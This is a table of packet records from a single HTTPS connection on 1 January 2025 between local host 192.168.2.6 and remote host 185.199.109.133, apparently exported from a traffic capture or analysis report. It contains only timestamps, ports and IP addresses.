Jan 1, 2025 16:54:59.188822031 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.190524101 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190541029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190633059 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.190639973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190685034 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.190880060 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190896988 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190948009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.190956116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.190994024 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191209078 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191226006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191270113 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191277027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191303968 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191319942 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191425085 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191446066 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191483021 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191490889 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191505909 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191525936 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191730022 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191747904 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191792965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191798925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191864014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.191946983 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.191975117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.192002058 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.192008972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.192039967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.192049026 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.193536997 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.278784037 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.278803110 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.278868914 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.278883934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.278913021 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.278933048 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.279630899 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.279650927 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.279715061 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.279722929 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.279771090 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.281436920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.281454086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.281517982 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.281526089 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.281564951 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.281904936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.281919956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.281976938 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.281985044 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282052040 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282135963 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282172918 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282193899 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282200098 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282226086 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282255888 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282404900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282423019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282460928 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282466888 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282494068 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282509089 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282632113 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282663107 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282685041 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282691002 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282715082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282735109 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282910109 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282926083 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282957077 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.282964945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.282985926 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.283004045 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.284233093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.369951010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.369965076 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.370066881 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.370083094 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.370121002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.370460033 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.370476961 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.370523930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.370531082 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.370568991 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372448921 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372466087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372509956 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372518063 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372544050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372556925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372838020 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372855902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372889996 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372895956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.372921944 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.372936964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373132944 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373151064 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373181105 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373188019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373212099 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373231888 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373337984 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373358965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373390913 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373395920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373419046 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373435020 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373579025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373595953 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373641014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373647928 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373683929 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373856068 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373872042 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373913050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.373919964 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.373955011 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.374799967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.460994959 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461021900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461160898 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.461179972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461222887 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.461493969 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461508989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461555004 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.461563110 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.461600065 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.463454962 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463473082 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463553905 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.463562012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463597059 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.463707924 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463725090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463777065 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.463785887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.463823080 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464159012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464174986 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464241982 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464251041 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464287043 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464472055 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464487076 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464560986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464569092 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464606047 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464631081 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464651108 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464718103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464718103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.464725971 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.464768887 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.476244926 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.552058935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.552087069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.552159071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.552190065 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.552203894 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.552222967 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.552258968 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.554243088 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554258108 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554343939 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.554358006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554526091 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554548025 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554589987 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.554596901 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554629087 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.554760933 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554776907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554817915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.554826021 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.554850101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555151939 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555171013 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555216074 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555222988 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555249929 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555334091 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555376053 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555407047 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555413961 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555429935 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555644035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555659056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555704117 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555712938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555747986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555855989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555871010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555922031 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.555931091 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.555953979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.584825039 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.643228054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.643244028 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.643345118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.643369913 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.643383026 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.643467903 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.645442009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645459890 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645524979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.645534039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645701885 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645720005 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645756006 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.645773888 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.645803928 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646011114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646023989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646069050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646076918 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646100044 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646300077 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646321058 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646368980 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646377087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646404982 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646512985 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646528006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646568060 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646574974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646603107 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646806002 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646825075 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646867037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.646874905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.646903038 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.699254036 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.734147072 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734173059 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734249115 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.734258890 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734311104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.734395981 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734414101 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734479904 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.734488010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.734524965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.736426115 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736442089 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736515045 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.736522913 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736563921 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.736638069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736656904 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736700058 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.736709118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.736735106 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.736752987 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737066031 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737082958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737127066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737133026 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737160921 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737200975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737592936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737618923 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737659931 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737667084 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737693071 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737715960 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737927914 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737946987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.737987995 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.737994909 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.738032103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.738054037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.738085032 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.738106966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.738161087 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.738168001 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.738193989 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.738207102 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.825320959 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.825345039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.825416088 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.825439930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.825453997 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.825474977 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.825520992 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.825557947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.827297926 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827322006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827368021 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.827375889 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827406883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.827661991 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827682972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827732086 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.827739954 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.827768087 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828038931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828054905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828094959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828104019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828135967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828490019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828510046 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828560114 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828567982 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828597069 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828792095 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828810930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828860044 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.828867912 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.828900099 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.829123974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.829149008 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.829179049 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.829186916 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.829210043 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.871128082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.916413069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916431904 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916500092 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.916513920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916552067 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.916567087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916584015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916627884 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.916635990 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.916675091 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.918234110 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918250084 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918301105 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:59.918308973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:59.918354034 CET	49997	443	192.168.2.6	185.199.109.133
